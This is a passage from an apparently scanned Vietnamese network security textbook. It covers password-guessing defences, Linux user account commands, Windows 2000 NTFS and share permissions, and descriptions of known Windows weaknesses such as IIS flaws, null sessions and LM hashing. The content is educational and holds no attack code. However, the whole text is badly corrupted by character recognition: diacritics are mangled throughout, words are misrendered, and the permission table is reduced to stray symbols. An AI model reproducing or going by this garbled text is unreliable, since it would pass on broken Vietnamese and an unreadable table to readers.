cho viéc crack mat khau cang tr& lén thuan loi hon. Khi d6 mot cracker don gian
chi phai thtt file password vGi nhitng password tua nhu vay. Do rdt nhiéu nguoi
stt dung mat khau c6 thé phong dodn dugc nén chién luoc trén sé& thu dugc thanh

cong hau nhu trén toan hé thong.
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V6i nhitng truong hop dac biét khac, néu cac user da 4n dinh password
bao gém 8 ky tu c6 thé in dugc (tic 1a bao gébm cé cac dau cau va cdc ky hiéu ...)
dugc lva chon ngiu nhién thi viéc crack mat khau 12 khong kha thi. Nhung diéu
nay lai 1am cho cac user gap khé khan trong viéc nhé password ctia minh. Tuy
nhién néu ching ta gigi han toan bo mat khau 1a chubdi céc ky tu ¢6 thé nhé dugc
thi v6i kich thuéc nhu vay véan 13 qud 16n dé€ cho phép crack trong thuc t€. Dé
loai trix cac password c6 thé doan dugc trong khi vin cho phép cac user lua chon
password c6 thé nhé dugc, c6 bon ki thuat co ban sau day dugc dung:

- Gido duc nguoi dung (User education)

- Dung mady tinh tao password (Computer-generated passwords)

- Kiém tra password da duoc st dung (Reactive password checking)

- Kiém tra password trudc khi sir dung (Proactive password checking)

Giao duc dung nguoi dung la néi cho ho biét tam quan trong clia viéc st
dung mat khau khé dodn nhan va cung cap cho ho nhitng nguyén tic trong viéc
lva chon mat khau manh (strong password). Phuong phdp gido duc ngudi ding
khong chic thanh cong & hdu hét moi noi, ma chi ¢ nhitng noi ¢ mat do nguoi
dung 16n. R4t nhi€u ngudi ding sé bo qua cdc nguyén tac. Mot s6 khéc lai khong
hiéu dugc mot mat khdu manh 12 nhu thé ndo. Chiang han, mot s6 ngui tin tudng
ring dao nguoc lai mot tir hodc viét hoa chit cudi cing s& lam cho mat khau 1a
khong thé doan dugc.

Computer-generated passwords ciing 12 mot giai phap. Néu mat khau la
hoan toan ngiu nhién, ngudi dung s& khong thé nhd dugc. Tham chi néu mat
khau c6 thé phat am dugc thi ngudi dung vin khé c6 thé nhé duoc, diéu nay
khién ho viét ching ra. N6i chung, giai phap nay it dugc nguoi dung chap nhan.
FIPS PUB 181 dua ra mot trong nhitng bo tao mat khau duoc tu dong thiét k& tot
nhat. Chuén nay khong chi bao gom cic dic ta vé mat phuong phap ma con dugc
hoan thién v6i ma nguén duoc viét bang ngon ngit C. Thuat todn nay tao ra cac
tlr bing cdch tao ra cac am tiét c6 thé phat am dugc va ndi ching lai v6i nhau dé
tao thanh tir. Bo tao s6 ngiu nhién tao ra dong ky tu ngiu nhién duoc diung dé
xay dung cac am ti€t va cac tu.

K¥ thuat reaction password checking 1a mot ky thuat ma trong dé dinh ky,
hé thoéng chay chuong trinh password cracker cua riéng né dé tim ra cic
password ¢6 thé dodn nhan. Heé thong s& bo qua bét ky password nao duge doan
nhan va thong bao dén ngudi dung. Thu thuat nay cé mot s6 mat han ché€ sau:
Thit nhat, diéu nay doi hoi rat nhiéu tai nguyén néu nhu cong viéc dugc thuc

hién mot cach ding din. Do mot d6i thi nhat dinh ¢6 thé ddnh cép file password
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c6 thé gianh toan bo thoi gian CPU cho cong viéc nay hang gid dong ho, tham
chi hang ngay nén néu chuong trinh reaction password checking dugc thuc hién
ding vao lic doé ro rang 1a bat lgi trong viéc st dung tai nguyén hé thong. Hon
nita, bat ky password nao da ton tai déu giit nguyén kha niang dé bi tdn cong cho
dén khi chuong trinh reaction password checking tim ra chuing.

Phuong phdp nhiéu trién vong nhat dé cai thién miic do an toan cho cdc
password 12 proaction password checking. Trong phuong phdp nay, ngudi dung
duoc phép lua chon password cho minh. Tuy nhién, tai thoi diém lua chon, hé
thong s& kiém tra xem, néu password 1a c6 thé cho phép thi né duoc chap nhan,
trong trudng hop nguoc lai nd bi loai bd. Vi cac qud trinh kiém tra dugc dua trén
mot 1y 18 ring, véi su chi dan diy da cua hé thong, cdc user c6 thé Iya chon
pasword dé nhé tir khong gian mat khau kh4 16n, khong giong véi mat khau bi
dodn ra trong tan cong tir dién

& Nhu trén da trinh bay, trong an toan truy nhap mang, di€u can thiét 1a
xéc thuc ngudi dung doi v6i hé thong, nhung doi khi van dé xéac thuc hé thong
doi v6i ngudi dung ciing rat quan trong. Chiing ta c6 thé 1y gidi diéu nay nhu
sau: Gia sir chiing ta ¢c6 mot phong cong cong, & A6 moi ngudi c6 thé truy nhap
vao hé thoéng thong qua céc terminal. Khi ngudi dung dén mot terminal, né hién
thi cilra s6 hoic thong bdo login va ngudi dung go tén va mat khau vao. Gia st ¢6
mot ngudi nao d6 da viet mot chuwong trinh ma hién thi clra s6 hodc thong bdo
login giong véi giao dién that ctia hé thong. Ho khéi dong chuong trinh d6 1én va
roi khoi terminal. Sau d6 mot nguoi dung khac dén va nghi rang d6 1a thong béo
login cua hé thong va go tén va mat khau vao. Khi d6 chuong trinh s& luu tén va
mat khau 12 r6i mé6i cho phép ngudi dung dé login vao hé thong binh thudng.
Hoac chuong trinh sé thodt ra ngay 1ap tic va ngudi dung chi nghi rang ¢ su sai
s6t gi do va login lai mot 1an nita. Van dé & day 1a hé thong da khong xdc thuc
duoc chinh né véi ngudi dung.

2. An toan truy nhap hé thong

Xac dinh quyén han ctia ngudi diing d6i v6i nguoi dung va quyén han cta
ngudi dung doi véi cac thiét bi va cac thao tac hé thong

Quyén cua nguoi dung nhu tao, xem, stta xod cac khoan muc nguoi dung.
Mobi hé diéu hanh déu c¢6 mot khoan muc dai dién cho ngudi quan tri mang 1a
ngudi ¢4 quyén cao nhat trong hé thong. Ngudi quan tri mang sé€ tao ra céc
khoan muc nguoi dung khéc va gan quyén cho ho
Cac thao tac doi v6i khoan muc nhu:
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- Tao khoan muc nguoi dung, nhém nguoi dung
- Xoa khoan muc nguoi dung, nhém nguoi dung
- Xem thong tin vé khoan muc nguoi dung, nhém nguoi ding
- Xem, thém, b6t thanh vién cia nhom nguoi dung
- V06 hiéu hoa khoan muc
Cac thao tac doi véi thiét bi nhu:
- Truy nhap vao mang tir may chu
- Tat may chu
- Dung mdy in mang
- Backup va khoi phuc dit liéu
& Doi vdi hé diéu hanh Linux user ¢6 quyén cao nhat 1a root, root c6 thé
tao cac user bang céch sir dung cédc 1énh useradd hoac adduser
# useradd
usage: useradd [-u uid [-0]] [-g group] [-G group ...]
[-d home] [-s shell] [-c comment] [-m [-k template]]
[-f inactive] [-e expire mm/dd/yy] [-p passwd] [-n]
[-r] name useradd -D [-g group] [-b base] [-s shell]
[-f inactive] [-e expire mm/dd/yy]
#
Pé x04 khoan muc ngudi dung sir dung Iénh userdel
[root@redhat /root]# userdel
usage: userdel [-r] name
[root@redhat /root]#
Trong d6 néu c¢6 tuy chon -r thi thuy muc home va ndi dung ctia né sé bi
x0d. Truong hgp nguoc lai, thu muc home va noi dung ctia né sé khong bi xo4.
Lénh useradd - D s& cho thong tin vé nhiing gid tri miac dinh ctia nguoi
dung hién tai
# useradd - D
- GROUP =100
- HOME = /home
- INACTIVE =-1
- EXPIRE =
- SHELL = /bin/bash
-  SKEL = /etc/skel
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Lénh usermod sé modify user logins
[root@redhat /root]# usermod
usage: usermod [-u uid [-0]] [-g group]
[-G group, ...] [-d home [-m]] [-s shell]
[-c comment] [-] new_name] [-f inactive]
[-e expire mm/dd/yy] [-p passwd] name
[root@redhat /root]#
Céc 1énh d6i v6i nhom nhu: groupadd tao nhém méi, groupdel xoa nhom ...
Hoic céc Iénh dé backup dit liéu va khoi phuc dit liéu hodc nén dit liéu nhu far

va gzip.

3. An toan truy nhap file va thu muc

Mang mdy tinh cho phép ngudi dung c6 nhiing file va thu muc dung
chung trén mdy chu. Tir mot tram bat ky ngudi dung c6 thé truy nhap dén cic
file va thu muc nam trén mdy cht. Ching c6 thé 1a céc file chuong trinh, file dit
liéu, file hé thong.... Do chitc nang quyén han clia mo6i ngudi ding khac nhau
nén nhu cau truy nhap dén céc file dung chung ciing khac nhau. Chinh vi vay céac
hé diéu hanh mang déu c6 co ché gian quyén truy nhap doi véi cac file va thu
muc cho méi nguoi dung

- Dai tugng duoc gan quyén: Dai twong dugc gan quyén la ngudi dung,
nhom nguoi dung, mot tap hgp ngudi dung nao d6. Khi mot nhém c6 mot s
quyén nao d6 thi nhitng thanh vién ctia nhém dé s& dugc nhan nhitng quyén do.
Khi mot nguoi ding bi dua ra khoi nhém thi anh ta cling s&€ khong con cic quyén
cia nhom nita

- D6i tuong dé gan quyén: doi twong dé gan quyén 1a file va thu muc
Khi mot d6i tugng (nguoi dung, nhém nguoi dung,....) dugc gdn mot s6 quyén
nao dé doi véi mot thu muc thi néi chung ho c¢é nhitng quyén dé doi véi file va
thu muc con

- Quyén thuc su: Do nguodi dung dugc nhan quyén doi véi thu muc va file
vGi nhi€u tu cach khac nhau nhu doc gan truc ti€p, 1a thanh vién ctia nhiéu nhém
hoac do céc han ché khdc nhu quyén thira huéng ... nén quyén thuc su cua ngudi
dung d6i v6i mot thu muc va file 12 quyén tong hop cta tat ca cac quyén duogc
tinh theo quy tic nhét dinh. Chang han néu mot ngudi dung la thanh vién cia
mot nhém thi quyén ctia anh ta do6i vdéi file s€ 1a két hop cua quyén dugc gén truc
ti€p va quyén ma nhém duoc gan véi thu muc
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& Chiing ta c6 thé xem xét vin d€ an toan truy nhap file va thu muc thong
qua hé diéu hanh Windows 2000

Windows 2000 ho trg hai hé thong file 1a FAT (File Allocation Table) va
NTFS (New Technology File System). Mdi hé thong c6 nhitng wu di€ém va han
ché riéng.

FAT cho phép truy nhap tir cic hé diéu hanh khiac nhu Windows, MS-
DOS, OS/2. Néu muon chay duoc cac ung dung trén DOS va OS/2 thi phai chon
phan hoach hé thong file theo FAT. Tuy nhién hé thong nay c6 tinh bao mat thap

NTFES la hé¢ thong phan hoach file tién ti€n, chi c6 WindowsNT va
Windows 2000 hd trg phan hoach nay. Hé thong phan hoach nay cé loi thé la
bao mat duoc & muc file va phan chia lam nhi€u mitc cho phép truy cap vao thu
muc va file

e Trudc tién ching ta hiy xét mot s6 khdi niém vé quyén truy nhap va
quyén s6 hitu trong Windows 2000

- Quyén truy nhap (Permission): chi mic do ngudi sit dung co thé truy
nhap vao mot file hay thu muc. Trén hé thong NTFS ¢6 rat nhiéu quyén truy cap
déap tng dugc nhu cau bao mat dit liéu da dang. C6 hai loai quyén truy cap vao
tai nguyeén file va thu muc 1a: quyén truy cdp chung hay quyén truy cdp chia sé
(share permisson) va quyén truy cdp file va thu muc (file and directory
permission). Duéi day dé ngan gon va dé phan biét ta s& goi quyén truy cdp chia
s€ 1a quyén truy cdp tr xa va quyén truy cdp file va thu muc 1a quyén truy cdp
cuc bo

- Quyén s& hitu (Ownership): mot ngudi st dung ¢6 quyén sd hitu doi véi
mot file hay thu muc nao d6 sé cé toan quyén st dung file hay thu muc dé, dong
thoi con ¢6 thé cap quyén truy cap file hay thu muc nay cho cdc doi tuong khac.
Khi mot nguoi st dung tao ra mot file hay thu muc mdi thi quyén sé hitu file hay
thu muc nay s€ thuoc vé ho. M6i mot file hay thu muc chi ¢6 duy nhat mot doi
tuong c6 quyén sé hitu

e Quyén truy cap tir xa

Trong hé thong mang Windows 2000, mot thu muc (ké ca 6 dia) bat ky
cia mdy tinh nao muon trd thanh tai nguyén chung (cho nhiing ngudi ¢ may tinh
khéc sur dung) déu phai tién hanh thao tac chia sé.

Windows 2000 chi cho phép chia sé cac thu muc ma khong chia sé dugc
cac file. Do vay quyén truy cap tir xa trong Windows 2000 chi 4p dung doi véi

thu muc. Cdc quyén truy cap tir xa gom co:
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- Full Control: cho phép thuc hién tat ca moi cong viéc trén tit ca céc file
va thu muc con trong thu muc chia sé

- Change: cho phép doc va thi hanh ciing nhu thay déi va xo4 cdc file va
thu muc con trong thu muc chia sé

- Read: cho phép doc va thi hanh céc file, xem noi dung thu muc chia sé,
khong c6 kha nang stra doi hodc xod bat ky thit gi trong thu muc chia sé.

e Quyén truy cap cuc bod

Nhu trén ta thdy quyén truy cap tir xa chi dugc phan thanh ba mic. Do vay
khong dédp ting dugc nhu cau bao mat dit liéu trén mang vi ¢6 rat nhiéu loai doi
tuong st dung khac nhau trén mang, doi hoi cdc quyén trén can dugc chia nho
ti€p. Mat khac néu mudn phan riéng ba quyén d6 cho ba nhém d6i tuong khac
nhau thi ta phai tién hanh ba 14n thao tdc chia sé va trao quyén. Su c6 mat cla
quyén truy cdp cuc bo nham dap ting yéu cau trén. D€ cho quyén truy cdp cuc bo
c6 y nghia thi quyén truy cdp tir xa phai & mic rong hon

Tuy nhién tai may tinh cé thu muc chia sé, néu ta truy cap thu muc chia sé
nay nhu mot tai nguyén cuc bo clia may thi quyén truy cap tir xa sé khong dugc
ap dung lic d6 chi cé quyén truy cap cuc bo 1a ¢6 hiéu luc.

D6i véi cac thu muc va file, ¢6 hai mic truy cap khac nhau, c6 thé tam goi
12 quyén truy cdp miic cao va quyén truy cdp miic thdp, trong dé quyén truy cap

miic cao la t6 hop cta nhiing quyén truy cap muc thap. Bang sau trinh bay cidch

két hop cua cac quyén truy cap miic cao tir cic quyén truy cap muc thap

Miic cao
Miic thap

Write

Read

List Folder

Contents

Read &

Execute

Modify

Full

Control

Traverse folder/Execute File

X

X

>

List Filder/Read Data

Read Attributes

e

Read Extended Attributes

X
X
X

X
X
X

Create Files/Write Data

Create Folders/Append Data

Write Attributes

Write Extended Attributes

Mol o | |

ol T T BT B B B Bl

Delete Subfolders and Files

Delete

>

Read Permissions

Change Permissions

Take Ownership

ol R T BT I T e I I B B B e I B e
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Nhiing quy luat hinh thanh cdc quyén truy cap mdc cao trong bang trén
dugc dp dung cho ca file va thu muc, chi trir List Folder Contents, vi quyén
truy cap nay chi d4p dung cho thu muc.

Nhiing quyén truy cap miic thap ¢6 dang chon mot trong hai nhu: Traverse
Folder/Execute File, List Filder/Read Data, Creat Files/Write Data va Creat
Folders/Append Data thi quyén dau dugc ap dung cho thu muc, quyén sau dugc
ap dung cho file.

Céc quyén truy cap ¢ mic thap 12 co s& dé tao nén céc quyén truy cap &
mifc cao ma chiing ta thudng thay nhu: Read, Modify va Full Control ... Y nghia
clia cic quyen truy cap muc thip nhu sau:

- Traverse folder/Execute File: Traverse folder (nghia la di qua thu muc)
chi 4p dung do6i véi cac thu muc.

C6 nhiing Iic ta thuc hién cac file chuong trinh nao dé c¢6 goi dén cac file
khiac trong cidc thu muc khédc. Vi du, ta thuc hién mot file chuong trinh
Program1.exe trong thu muc Appl (hinh v€ sau). Gia su file chuong trinh d6 lai
c6 gang goi dé€n mot file khéac trong mot thu muc khic nam sau hon mot cap bén
dudi Appl (gia su do la file Data.dat trong thu muc Appll1), trong khi ta lai
khong duogc phép truy cap cac thu muc cdp mot bén dudi Appl (tic 1a Appll).
Khi d6 ta s&€ nhan dugc thong bio 16i “Access denied” (tir chdi truy cap), vi
Windows 2000 khong cho phép di qua mot thu muc khong dugce phép truy cap.
Tuy nhién chi can c6 quyén Traverse folder d6i véi cac thu muc & muc trén (la
Appl1) thi ta s& di qua dugc cac thu muc trung gian dé dén dich (1a Appl11).

Appl

Program.exe

Appll———— Appl11 ———Data.dat

Con v6i Execute File thi chi 4p dung doi véi cac file va néu file c6 duoi la
EXE, .COM hoic mot ki€u file kha thi khac thi quyén ndy cho ta thi hanh duogc
file do.

- List Filder/Read Data: List Filder cho phép xem ndi dung ctia thu muc
con Read Data cho phép xem noi dung cua file

- Read Attributes: cho phép nhin thdy cédc thudc tinh co ban cua file gom:
Read-Only, Hidden, System va Archive.

- Read Extended Attributes: mot s6 chuong trinh c6 gop cac thudc tinh

khac vao kiéu file ctia ching. Vi du Microsoft Word ¢6 gin thém vao file .DOC
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cac thudc tinh nhu: Author, Subject, Title, ... Cac thuoc tinh nay duoc goi la
thuoc tinh mé rong (Extended Attributes) va chiing thay ddi tir chuong trinh nay
sang chuong trinh khac. Quyén truy cap mic thap nay cho phép ta xem dugc cac
thudc tinh mé rong do

- Create Files/Write Data: Create Files cho phép dat cac file méi vao thu
muc dang xét (nghia 12 c6 thé tao ra hoic sao chép, di chuyén tir noi khic dén).
Write Data thi cho phép ghi de Ién (stra) nhitng di liéu hién c6 bén trong file
nhung khong cho b6 sung thém dit liéu vao file

- Create Folders/Append Data: Create Folders cho phép tao ra cidc thu muc
dang xét con Append Data cho phép bo sung thém dit liéu vao cuéi file dang xét
nhung khong cho stra nhitng dit liéu da cé cua file d6

- Write Attributes: cho phép thay déi cdc thudc tinh co ban ciia mot file

- Write Extended Attributes: cho phép thay déi cdc thudc tinh md rong
ctia mot file

- Delete Subfolders and Files: cho phép xo0a cac thu muc con va céc file
cta thu muc dang xét nhung khong xoa dugce chinh thu muc nay

- Delete: cho phép xod mot file hoac thu muc, néu né la thu muc thi chi
x0d duoc khi né da rong

- Read Permissions: cho phép xem tat ca cac quyén truy cap vao file hoac
thu muc da dugc trao cho cdc doi twong nhung khong thé thay doi dugc cic
quyén da trao nay

- Change Permissions: cho phép thay doi cac quyén truy cap vao file hoic
thu muc cho cac doi tuong

- Take Ownership: cho phép chi€m 18y quyén s& hitu file hoac thu muc

e Tong hop cdc quyén truy cap

Vi ngudi st dung c6 thé duge trao ca quyén truy cap tlir xa va quyén truy
cap cuc bo doi véi file hay thu muc, dong thoi ho ciing cé thé nhan duoc cic
quyén nay tir cdc nhom ma ho 1a thanh vién. Khi d6 tong hop lai thi ho ¢6 nhiing
quyén truy cap thuc su nao d6 doi v6i mot file hay thu muc. Nguyén tic tinh
quyén truy cap téng hop trong Windows 2000 nhu sau:

- TruSc hét tdng hop céc quyén truy cap ma ngudi st dung c¢6 duoc nho
duoc trao truc ti€p va duoc ké thira tir cdc nhém ma ho 1a thanh vién (khi tong
hgp, ta phan thanh hai nhém la quyén truy cap tir xa va quyén truy cap cuc bo).
Quyén téng hop & day s€ 1a hogp clia cdc quyén ma ngudi sit dung c¢6 duoc nhd
duoc trao truc ti€p va cac quyén k€ thira tir cic nhém ma ho 1a thanh vién, trir ra

nhiing quyén bi cdm tudng minh
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Vi du: Néu nguoi st dung A dugc trao quyén truy cap tir xa Change (bao
gbm ca cdc quyén Modify, Read, Write) va quyén truy cap cuc bo Modify,
Write d6i v6i thu muc Baocao.

Gia str A 1a thanh vién ctia nhém N1, nhém nay dugc trao quyén truy cap
tir xa Read va quyén truy cap cuc bo Read trong khi bi cAm tudng minh hai
quyén truy cap cuc bo Modify va Write doi v6i thu muc Baocao.

Khi d6 quyén téng hop tir xa ma A c6 dugc d6i v6i thu muc Baocao 1a
Change, quyén tong hop cuc bo 1a Read

- Cu6i cuing quyén tong hop thic su ma ngudi sit dung c6 dugc s& 1a
nhitng quyén han ché nhat giita cac quyén téng hop tir xa va cdc quyén tong hop
cuc bo, tiic 1a s& bing giao clia cdc quyén téng hop tir xa va céc quyén tong hop
cuc bo

Nhu trong vi du trén thi quyén truy cap thuc su ctia A d6i véi thu muc
Baocao sé bang giao ciia Change va Read, tic 1a Read

III. CAC LO HONG AN TOAN
1. Khai niém

Hé diéu hanh Microsoft Windows c6 nguén goc phét trién cho ciac mdy
tinh ¢4 nhan va cdc mang an toan nhu ching ta da thiy & cong s&. Tuy nhién né
lai khong an toan doi v6i mang vo chinh phu nhu Internet.

Trong giai doan ban dau, hé di¢u hanh Microsoft Windows duoc thiét k&
khong phai tat ca cho Internet bdi Microsoft khong nghi la Internet lai quan
trong dén thé. Internet da budc phai gin vao né va diéu dé dan dén mot s6 diém
yéu va thuong dugc biét dén nhu 1a cdc 16 hdng bao mat (security holes).

Mot 16 héng bao mat cho phép mot ngudi nao dé xam nhap vao mdy tinh
cua ban qua dudng két noi Internet. Nhitng 16 hong 16n cho phép ho ti€p quan
hoan toan mdy tinh ctia ban. Nhitng 16 hong nho c6 thé chi cho phép truy cap vao
noi dung clipboard ctia ban hodc mat khau cu6i ciing ban nhap vao.

Céc hé diéu hanh khéac nhu Linux, Mac OS ciing ¢ cic 16 hong bao mat
nhung n6 khong giéng nhu céc 16 héng ma Windows hién c6.

Dé cho cong bang, & day chung ta ciing phai ké dén WindowsNT. Day 1a
phién ban duoc sir dung boi cdac chuyén gia mdy tinh va né ciing ¢c6 mot so 16
héng nhung khong nhiéu. WindowsNT duoc coi 1a tuong d6i an toan.

Nhu vay ching ta c6 thé thay, khi dé cap dén van dé vé cic 16 hong bao

mat, ngudi ta thudng dé€ cap dén su mat an toan cua cic hé thong mdy tinh khi
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két noi Internet. Piéu nay c6 thé xdy ra do ban than cic hé diéu hanh hoic cic
ting dung chay trén né chia 16i hoic do céc sai s6t ctia con ngudi trong qua trinh
st dung va khai thac hé thong.

Mit khéc chiing ta déu bi€t muon thuc hién dugc co ché an toan, cdac hé
diéu hanh phai duoc thiét k€ dé ddp ung céc yéu cdu vé an toan dit ra. Tuy nhién
trén thuc t€, viec thiét k€ cac hé diéu hanh chi dat duoc dén miic do tiém can cac
yéu cau an toan chit khong dap tng hoan toan duoc ching. Nhiing noi ma & dé
yéu cdu thiét k& bi phd v& goi 1a cdc 16 héng

2. Mot so 16 hong tiéu biéu trong cac hé diéu hanh
2.1 Pai voi hé diéu hanh Microsoft Windows

2.1.1 Cac dich vu thong tin Internet (Internet Information Services-11S)

IIS dé xay ra tinh trang mat an toan & ba 16p chinh sau: 16i x{r 1y cdc yéu ciu
khong dugc du kién trudc, tran bo dém va nhiing tng dung tiéu biéu.

e L6i xir ky cdc yéu ciu khong duoc du kién truGc (Failure to Handle
Unanticipated Requests): Nhiéu IIS dé bi tan cong bao gom 16i vé xu ly
khong ding (chi vong vo) nhitng yéu cau HTTP da dugc dinh dang. Vi du
dién hinh 1a tinh dé bi tdn cong qua danh ba Unicode ma di bi sau mang
Code Blue lgi dung. Bing mot yéu ciu xao quyét dé loi dung mot trong
nhitng di€ém yé&u nay, mot tdn cong tr xa co thé:

- Xem ma nguon cua cac kich ban tng dung (scripted applications)

- Xem céc file bén ngoai tai liéu Web goc

- Xem cdc file Web server da xay dung nhung khong cung cap

- Thyc thi céc 1énh tuy tién trén server (két qua cua viéc nay thuong la xoa
céc file nguy kich hoac cai dat backdoor)

e Tran bo dém: Nhiéu ISAPI mé rong (bao gom ASP, HTR, IDQ, PRINTER,
SSH m& rong) dé bi tdn cong tran vung dém. Vi du dién hinh trong trudong
hop nay 1a diém yéu .idq ISAPI mé rong da bi sau mang Code Red va Code
Red II lgi dung. Mot yéu cdu xdo quyét tir nhitng ké tdn cong tir xa c6 thé cho
két qua trong

- T choi dich vu (Denial of service)
- Thyc thi cdc ma hoac céc Iénh bat ky trén ngit canh ngudi dung ctia Web
server (vi du nhu IUSR_servername hoic IWAM_servername user)

e Céc ting dung méiu: Cic ung dung mau thudng dugc thiét k& dé giai thich vai
tro cua moi truong server, khong chong lai dugc cac tdn cong va khong cé
dung ¥ phuc vu nhu la cdc san phdm ting dung. Thuc t€ ring viéc két hop cdc
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vi tri mac dinh va ma nguon cé san dugc xem xét ky ludng, lam cho ching
tré thanh muc tiéu quan trong nhat bi khai thac. Trong truong hgp tan cong
kiéu nay yéu cau ké tdn cong phai cé ky thuat rit cao
- Ung dung mau newdsn.exe di cho phép ké tdn cong tir xa c6 thé tao hoac
ghi de céc file tuy y trén server
- Mot so tng dung cho phép xem cic file bat ky tir xa, diéu ndy c6 thé
duoc sir dung dé thu thap cac thong tin nhu co s& dit liu userids va passwords
- Ung dung iisadmin, ism.dll cho phép truy cap tir xa dén thong tin server
mat bao gém ca mat khau clia ngudi quan tri
Céc phién ban hé diéu hanh chita diém yéu vé IIS 12 WindowsNT 4 chay ISS
4, Windows 2000 server chay IIS 5 va Windows XP Professional chay ISS 5.1
déu chiu anh hudng tir 16 héng IIS.
2.1.2 Cac thanh phan truy nhép dit liéu Microsoft- Cac dich vu di liéu tir xa

(Microsoft Data Access Components-Remote Data Services)

Thanh phan dich vu di liéu tir xa (RDS) trong cdc phién ban cii cia thanh
phan truy cap dit liéu Microsoft (MDAC) ¢6 mot chuong trinh bi sai sét cho
phép ngudi dung tir xa ¢o thé thuc thi cdc 1énh cuc bo véi diac quyén cla ngudi
quan tri

Phan 16n cac hé diéu hanh Microsoft Windows NT 4.0 chay IIS 3.0 hoic 4.0,
Remote Data Services 1.5 hoac Visual Studio 6.0 déu bi anh hudng clia sai sét
nay

2.1.3 Microsoft SQL Server

Microsoft SQL Server (MSSQL) chita mot s6 diém yéu nghiém trong cho

phép ké tan cong tir xa thu dugc nhitng thong tin mat, sira d6i ndi dung co so dix
lieu, 1am t6n thuong SQL server, trong mot s6 trudng hop ¢6 thé 1am ton thuong
cac may chu server

Diém yéu trong MSSQL da dugc cong bé va né bi tdn cong rit nhiéu. Gan
day, vao thang nam nam 2002, sau mang MSSQL da Igi dung mot soO sai sot da
duoc cong bo clia MSSQL 1am t6n thuong mot s6 mdy chu. Sau mang nay da tao
ra miic do nguy hiém vé giao thong mang khi quét qua cidc may chu dé bi tan
cong

Bat ky hé thong Microsoft Windows nao cai dat Microsoft SQL Server 7.0,
Microsoft SQL Server 2000 hoac Microsoft SQL Server Desktop Engine 2000
déu bi 4nh hudng boi diém yéu nay clia MSSQL

2.1.4 NETBIOS -- Unprotected Windows Networking Shares
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Microsoft Windows cung cip cho mdt may chu kha nang chia sé céc file va
thu muc qua mang véi mot may chu khac qua Windows network shares. Nhitng
ky thuat uu tién cdc thudc tinh nay la giao thic Server Message Block (SMB)
hoac Common Internet File System (CIFS). Cac giao thiic nay cho phép cic may
chu thao tac véi cac file nhu l1a ching & do6.

Mic di day 1a di€ém manh va hitu ich cia Windows nhung khong thich hgp
cho ciu hinh nhitng mang chia sé c6 thé pho bay cac file hé thong nguy kich,
hoac cung cép k¥ thuat cho nhitng nguoi dung bat chinh hoac cac chuong trinh
1dy quyén diéu khién hoan toan mdy chi. Mot trong nhiing cdch ma ca virus
Sircam va sau mang Nimda lay lan nhanh chong vao mua he nam 2001 la tim ra
tai nguyén mang dung chung khong duoc bao vé va dua vao d6 mot ban sao cua
chinh né.

Cac hé thong Windows 95, Windows 98, Windows NT, Windows Me,
Windows 2000 va Windows XP déu ¢6 diém yéu nay

2.1.5 Anonymous Logon -- Null Sessions

Su két n6i khong phién (Null Session) hay dang nhap nac danh (Anonymous
Logon) la k¥ thuat cho phép nguoi dung nac danh lay cac thong tin qua mang
(nhu 1a tén nguoi dung, cac tai nguyén dung chung) hoac két ndi ma khong xac
thuc. Diéu nay dugc st dung trong cdc tng dung nhu Windows Explorer dé liét
ké cdc tai nguyén dugc chia sé trén cac server ¢ xa. Trén cac hé thong
WindowsNT, 2000 va XP, nhiéu dich vu cuc bo thuc hién dudi tai khoan
SYSTEM (system account), nhu l1a LocalSystem trén Windows 2000 va XP. Tai
khoan SYSTEM ciing dugc st dung cho nhiéu hoat dong hé thong nguy kich.
Khi mot may can 1y dit liéu hé thong tir cic may khac, tai khoan SYSTEM sé
mo null session d6i v6i may khac.

Tai khoan SYSTEM gan nhu khong ¢6 gidi han vé cdc dac quyén va nd
khong c6 mat khau, vi vay ban khong thé dang nhap nhu SYSTEM. Nhung doi
khi SYSTEM céan truy cdp thong tin dén nhitng mdy khac nhu cac tai nguyén
dung chung san cé, user names ... cac loai chitc nang duoc cung cap bdi Network
Neighborhood. Vi n6 khong thé dang nhap vao hé thong khdc bang céch str dung
UserID va password, n6 stt dung Null session dé dugc truy nhap. That khong
may ring ké tdn cong ciing c6 thé dang nhap vé6i Null Session.

Ciac hé thong WindowsNT, 2000 va XP déu c6 diém yéu nay

2.1.6 LAN Manager Authentication -- Weak LM Hashing

Maic du phan 16n cdc moi truong Windows hién nay khong can cho su ho tro

trinh quan ly mang cuc bd (LAN Manager-LM) nhung Microsoft van luu trit tai
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san LM password hashes (cting duoc goi 1a LANMAN hashes) bang cdch dat
mac dinh ching vao cac hé thong WindowsNT, 2000 va XP. Do LM str dung
phuong phidp ma yéu hon rdt nhi€u so véi cdc phuong phdp ma hién nay
Microsoft st dung, cdc mat khdu LM c6 thé bi bé gdy trong mot thoi gian rat
ngan. Tham chi nhitng mat khau trong nhiing trudng hop khidc duoc coi 1a rat
manh thi cling c6 thé bi bé giy bang siic manh clia cac phan cing hién tai trong
khoang mot tuan 1€

Ciac diém yéu ctia LM hashes xuét phét tir cic nguyén nhan sau
- Mat khau bi rit ngan con 14 ky tu
- Mat khau duoc thém vao cdc khoang tring cho du 14 ky tu
- Toan bo mat khau dugc chuyén déi thanh chit hoa
- Mat khau duoc tich ra thanh hai phan, méi phan 7 ky tu

Qua trinh bam nay c6 nghia la ké tdn cong chi can hoan thanh mot s6 tac vu
don gian trong viéc bé gdy hai phin, méi phian 7 ky tu, chuyén déi mat khau
thanh chit hoa va quay tr& lai dé truy nhap xéc thuc vao hé théng cua ban. Vi
viéc bé gdy cdc gia tri bam tang 1én cung véi do dai ctia gia tri bam, nén it nhat
viéc bé giay moi doan 7 ky tu cling don gian hon rit nhi€u so véi 14 ky tu. Do
toan bod chudi chinh xdc 1a 7 ky tu va hoan toan 1a chit cdi in hoa nén viéc tan
cong theo kiéu tir dién ciing don gidn hoa hon. Vi vay phuong phap LM hashes
hoan toan loai bd céc chinh sdch Iya chon mat khau tot

Tat ca cac hé thong Microsoft Windows déu chiu anh hudng cua di€ém yéu

nay

2.1.7 Su xac thuc Windows néi chung- Cac tai khoan khong mat khau hoic mat

khau véu (General Windows Authentication -- Accounts with No Passwords or
Weak Passwords)
Mat khdu, cdc ma an toan thudong duoc sir dung trong mdi twong tac thuc t&€

gitta nguoi dung va hé thong thong tin. Phan 16n viéc xac thuc nguoi dung, bao
vé file hodc dit liéu dugc thuc hién bang cdch yéu ciu ngudi ding cung cdp mat
khau. Vi truy nhap x4c thuc hop 1é khong dugc ghi lai, tham chi néu dugc ghi lai
ciing khong bao gid gay nghi ngd nén khi mat khau bi 10 s& 1a co hoi dé nguoi
khiac kham phd hé thong bdi thuc t€ bén trong hé thong khong hé nhan ra diéu
